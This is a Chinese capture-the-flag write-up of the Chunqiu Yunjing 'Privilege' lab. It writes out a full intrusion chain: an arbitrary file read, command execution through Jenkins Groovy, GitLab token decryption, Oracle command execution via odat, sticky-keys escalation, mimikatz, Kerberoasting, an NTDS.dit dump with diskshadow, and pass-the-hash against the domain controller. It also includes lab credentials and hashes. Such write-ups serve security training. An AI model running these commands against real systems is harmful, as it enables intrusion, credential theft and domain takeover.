首页 > 其他分享 >春秋云镜 Privilege

春秋云镜 Privilege

时间:2024-10-09 17:48:43浏览次数:2  
标签:__ http 春秋 云镜 XR flag Privilege ___ 172.22

上来先用fscan扫一下.

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
39.98.114.164:80 open
39.98.114.164:8080 open
39.98.114.164:135 open
39.98.114.164:139 open
39.98.114.164:3306 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo 
[*]39.98.114.164
   [->]XR-JENKINS
   [->]172.22.14.7
[*] WebTitle http://39.98.114.164      code:200 len:54689  title:XR SHOP
[*] WebTitle http://39.98.114.164:8080 code:403 len:548    title:None

80一个wordpress,8080一个jenkins,80扫目录发现www.zip,下下来审计一下.
发现tools目录下有两个逆天的文件.
phpinfo.php

<?php phpinfo();?>

content-log.php(D盾没扫出来)

<?php
$logfile = rawurldecode( $_GET['logfile'] );
// Make sure the file is exist.
if ( file_exists( $logfile ) ) {
  // Get the content and echo it.
  $text = file_get_contents( $logfile );
  echo( $text );
}
exit;

第一个文件泄露环境,第二个文件导致任意文件读取.由于使用的是windows server,直接猜测是phpstudy搭的,有管理员权限,尝试读取flag.

http://39.98.114.164/tools/content-log.php?logfile=C:/Users/Administrator/flag/flag01.txt

image

flag:flag{f3d2c982-67b0-4b20-aa6d-0f10d89ddd43}
由于靶场存在提示

并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins。

尝试读取管理员的初始密码

http://39.98.114.164/tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

510235cf43f14e83b88a9f144199655b
后台登录
image

jenkins后台存在groovy的在线编译器
image

注意接下来的步骤开着梯子走不通,因为走代理拿不到crumb,会被判定为csrf攻击.
由于权限高,所以可以直接执行命令

println "net user lbzc Lbz12345 /add".execute().text
println "net localgroup administrators lbzc /add".execute().text

由于不知道计算机对于密码配置策略的要求,所以设置用户名和密码的时候一定要看到命令成功完成回显.
rdp上线.起个nps代理,传个fscan去扫内网.

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
(icmp) Target 172.22.14.7     is alive
(icmp) Target 172.22.14.11    is alive
(icmp) Target 172.22.14.16    is alive
(icmp) Target 172.22.14.31    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 5
172.22.14.7:445 open
172.22.14.31:139 open
172.22.14.46:139 open
172.22.14.11:139 open
172.22.14.31:135 open
172.22.14.46:135 open
172.22.14.7:139 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:8080 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo
[*]172.22.14.7
   [->]XR-JENKINS
   [->]172.22.14.7
[*] NetInfo
[*]172.22.14.11
   [->]XR-DC
   [->]172.22.14.11
[*] NetInfo
[*]172.22.14.31
   [->]XR-ORACLE
   [->]172.22.14.31
[*] NetInfo
[*]172.22.14.46
   [->]XR-0923
   [->]172.22.14.46
[*] WebTitle http://172.22.14.7:8080   code:403 len:548    title:None
[*] NetBios 172.22.14.11    [+] DC:XIAORANG\XR-DC
[*] NetBios 172.22.14.46    XIAORANG\XR-0923
[*] NetBios 172.22.14.31    WORKGROUP\XR-ORACLE
[*] WebTitle http://172.22.14.16:8060  code:404 len:555    title:404 Not Found
[*] WebTitle http://172.22.14.46       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.14.7        code:200 len:54603  title:XR SHOP
[*] WebTitle http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file

存在如下主机

172.22.14.7  本机
172.22.14.46 XIAORANG\XR-0923(域内机器)
172.22.14.11 XR-DC 域控
172.22.14.31 XR-ORACLE
172.22.14.16 GitLab

第二关内容如下

管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。

去读C:/ProgramData/Jenkins/.jenkins/credentials.xml

<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="[email protected]">
  <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
    <entry>
      <com.cloudbees.plugins.credentials.domains.Domain>
        <specifications/>
      </com.cloudbees.plugins.credentials.domains.Domain>
      <java.util.concurrent.CopyOnWriteArrayList>
        <com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl plugin="[email protected]">
          <scope>GLOBAL</scope>
          <id>9eca4a05-e058-4810-b952-bd6443e6d9a8</id>
          <description></description>
          <apiToken>{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}</apiToken>
        </com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl>
      </java.util.concurrent.CopyOnWriteArrayList>
    </entry>
  </domainCredentialsMap>
</com.cloudbees.plugins.credentials.SystemCredentialsProvider>

找到的apiToken是加密过的,去jenkins的groovy script中进行一次解密

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

得到了明文glpat-7kD_qLH2PiQv_ywB9hz2
访问url:http://172.22.14.16/api/v4/projects,并携带token:PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2

发现一共有5个项目,分别为Internal Secret,XRAdmin,Awenode,XRWiki,Monitoring.
分别把他们clone下来,使用的命令如下

proxychains git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/xradmin.git

xradmin/ruoyi-admin/src/main/resources/application-druid.yml中找到了Oracle的账号密码.

# 数据源配置
spring:
    datasource:
        type: com.alibaba.druid.pool.DruidDataSource
        driverClassName: oracle.jdbc.driver.OracleDriver
        druid:
            # 主库数据源
            master:
                url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
                username: xradmin
                password: fcMyE8t9E4XdsKf
            # 从库数据源
            slave:
                # 从数据源开关/默认关闭
                enabled: false
                url: 
                username: 
                password: 
            # 初始连接数
            initialSize: 5
            # 最小连接池数量
            minIdle: 10
            # 最大连接池数量
            maxActive: 20
            # 配置获取连接等待超时的时间
            maxWait: 60000
            # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒
            timeBetweenEvictionRunsMillis: 60000
            # 配置一个连接在池中最小生存的时间,单位是毫秒
            minEvictableIdleTimeMillis: 300000
            # 配置一个连接在池中最大生存的时间,单位是毫秒
            maxEvictableIdleTimeMillis: 900000
            # 配置检测连接是否有效
            validationQuery: SELECT 1 FROM DUAL
            testWhileIdle: true
            testOnBorrow: false
            testOnReturn: false
            webStatFilter: 
                enabled: true
            statViewServlet:
                enabled: true
                # 设置白名单,不填则允许所有访问
                allow:
                url-pattern: /druid/*
                # 控制台管理用户名和密码
                login-username: 
                login-password: 
            filter:
                stat:
                    enabled: true
                    # 慢SQL记录
                    log-slow-sql: true
                    slow-sql-millis: 1000
                    merge-sql: true
                wall:
                    config:
                        multi-statement-allow: true

MDUT能连上,但是执行命令和读文件都报错.
直接使用odat去执行命令.

proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user lbzc Lbz12345 /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators lbzc /add'

rdp上去,成功拿到flag
image

flag:flag{e631877f-7945-4564-9af6-ece9a25a9217}
另外在Internal Secret中存在credentials.txt,里面存储着大量的用户名和密码
image

找到XR-0923:XR-0923 | zhangshuai | wSbEajHzZs,rdp登陆.
发现zhangshuai是Remote Management User组成员.
image

直接使用evil-winrm登录

proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

发现存在SeRestorePrivilege特权.
image

可以打一个修改注册表,进行类似注册表提权的攻击.然而用tsclient的打法报错.
image

说明这里的SeRestorePrivilege并没有权限修改注册表,尝试修改文件名,进行粘滞键提权.

ren sethc.exe sethc.bak
ren cmd.exe sethc.exe

image

回到锁屏界面按5下shift,成功提权.拿到了第三个flag
image

flag:flag{6976c5ee-4056-4f7a-82cd-30283eb0b3cf}
创个管理员账号上去.

net user LBZ Lbz12345! /add
net localgroup administrators LBZ /add

上个mimitakz去抓一下密码.突然发现cmd.exe没做备份,恢复不了了.对付用吧...

mimitakz
privilege::debug
sekurlsa::logonpasswords

image

使用抓取到的机器账户的ntlm去查询SPN
8519c5a89b2cd4d679a5a36f26863e5d
使用机器账户的ntlm去枚举SPN

proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':2db8b6a4d945068a4fd5bb65d33fe280' -dc-ip 172.22.14.11

image

抓一下tianjing的哈希

proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':2db8b6a4d945068a4fd5bb65d33fe280' -dc-ip 172.22.14.11 -request-user tianjing

image

使用hashcat爆破

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

image

结果为tianjing/DPQSXSXgh2
这用户也是Remote Management User成员,因此可以直接evil-winrm上线DC

proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2

image

发现开启了SeBackupPrivilege,可以卷影拷贝然后读sam配合注册表的system得哈希.
本地创一个raj.dsh,写入

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

然后使用unix2dos raj.dsh将换行转换为windows格式.
回到域控,在C的根目录创建一个test目录(确保权限问题),然后上传raj.dsh

mkdir test
cd test
upload raj.dsh

image

卷影拷贝sam表

diskshadow /s raj.dsh

image

复制文件到当前目录(RoboCopy相当于增强的copy),并下载sam表

RoboCopy /b z:\windows\ntds . ntds.dit
download ntds.dit

最后转存并下载system

reg save HKLM\SYSTEM system
download system

对ntds.dit和system进行本地解密

impacket-secretsdump -ntds ntds.dit -system system local

image

得到了域管理员的ntlm,pth即可.

proxychains crackmapexec smb 172.22.14.11 -u administrator -H70c39b547b7d8adec35ad7c09fb1d277 -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*"

image

flag:flag{01ee24c8-e844-402a-ab14-fd4bbfaefb6e}

共用时3小时15分,这次打SeBackupPrivilege就打成了.回顾了一下之前Thermal Power失败的原因,似乎想明白了.rdp上去以后用户属于Back Operators组,但是没被赋予SeBackupPrivilege权限,需要我去赋予权限,并开启权限才能进行sam表转储.

image

标签:__,http,春秋,云镜,XR,flag,Privilege,___,172.22
From: https://www.cnblogs.com/meraklbz/p/18454796

相关文章

  • docker加速镜像配置及使用阿里云镜像安装docker
    1、阿里云个人镜像加速器sudomkdir-p/etc/dockersudotee/etc/docker/daemon.json<<-'EOF'{"registry-mirrors":["https://snltq7d6.mirror.aliyuncs.com"]}EOFsudosystemctldaemon-reloadsudosystemctlrestartdocker2、阿里云镜像......
  • 【春秋招必看】Unity相关笔试面试题(内有完整答案)第12期
    欢迎来到光光的奇妙冒险,我是你们的煎饼光子老师。今天是我们的第12期试题总结。C#部分:(前四题为字节跳动面试问题)1、List是链表还是数组答案:数组2、上一题追问:当list满了的时候,我再加入一个元素它的效率会比较低啊,它内部大概是一个什么样的执行过程呢?答案:数组搬家,会......
  • 【春秋招必看】Unity相关笔试面试题(内有完整答案)第八期
    欢迎来到光光的奇妙冒险,我是你们的煎饼光子老师。今天是我们的第八期笔试面试题总结。C#部分:1、如果我们想为Unity中的Transform类添加一个自定义的方法,应该如何处理?答案:通过C#的拓展方法相关知识点进行添加2、请说出using关键字的两个作用答案:1.引入命名空间2.安全......
  • 春旗云镜 Spoofing
    扫描发现开放了8080端口dirsearch进行路径扫描.发现是Tomcat9.0.30,该版本存在文件包含漏洞tomcat的许多重要信息存储在/WEB-INF/web.xml下,然而不能直接访问,我们利用漏洞来读文件.python3ajpShooter.pyhttp://39.98.118.38:80808009/WEB-INF/web.xmlread结果如......
  • 【春秋招必看】Unity相关笔试面试题(内有完整答案)第五期
    欢迎来到光光的奇妙冒险,我是你们的煎饼光子老师。今天是我们的第五期笔试面试题总结。C#部分:1、以上代码,谁的效率更高?为什么?答案:代码2的效率更高因为List的本质是数组,在初始化时,如果不默认为其指明分配多少容量,它会不断扩容扩容会带来效率的降低和垃圾的产生效率的降......
  • linux 切换阿里云镜像源
    目录linux切换阿里云镜像源备份原有文件:创建阿里云CentOS仓库文件:清理缓存并更新软件包列表:测试是否成功:linux切换阿里云镜像源centos7安装好后,发现外网可以ping通,但是yum一直报错,看报错内容为镜像源问题于是切换镜像源备份原有文件:在进行任何更改之前,请确保备份原有的仓......
  • Docker配置阿里云镜像加速器,拉取Tomcat,使用云服务器访问Tomcat容器
    一、简介与概述1.Docker是一个开源的应用容器引擎,基于Go语言并遵从Apache2.0协议开源。 Docker可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化。 2. Docker的主要目标是‘build,shipand......
  • 【春秋招必看】Unity相关笔试面试题(内有完整答案)第二期
    欢迎来到光光的奇妙冒险,我是你们的煎饼光子老师。今天是我们的第二期笔试面试题总结。C#部分:1、请说说你认为C#中==和Equals的区别是什么?答案:(1).==是运算符,Equals是万物之父Object中的虚方法,子类可重写(2).Equals一般在子类中重写后用于比较两个对象中内容是否相同......
  • 春秋云镜 Hospital
    扔fscan去扫一下heapdump泄露,然而不知道在哪下.dirsearch扫一下访问/actuator/heapdump去下载泄露文件直接用长城杯用的工具扫java-jarJDumpSpider-1.1-SNAPSHOT-full.jarheapdump得到key为GAYysgMQhG7/CzIJlVpR2g==,使用shiro综合利用去打弹个shellbash-c'{ech......
  • 春秋云镜 GreatWall
    先扔fscan里扫一下发现开放了80端口和8080端口的web服务.访问8080端口发现是thinkphp框架真有洞!写个shell进去.然后使用蚁剑连接,在根目录找到了第一个flag.flag:flag01:flag{176f49b6-147f-4557-99ec-ba0a351e1ada}架个stowaway横向代理,然后传个fscan去扫内网../f......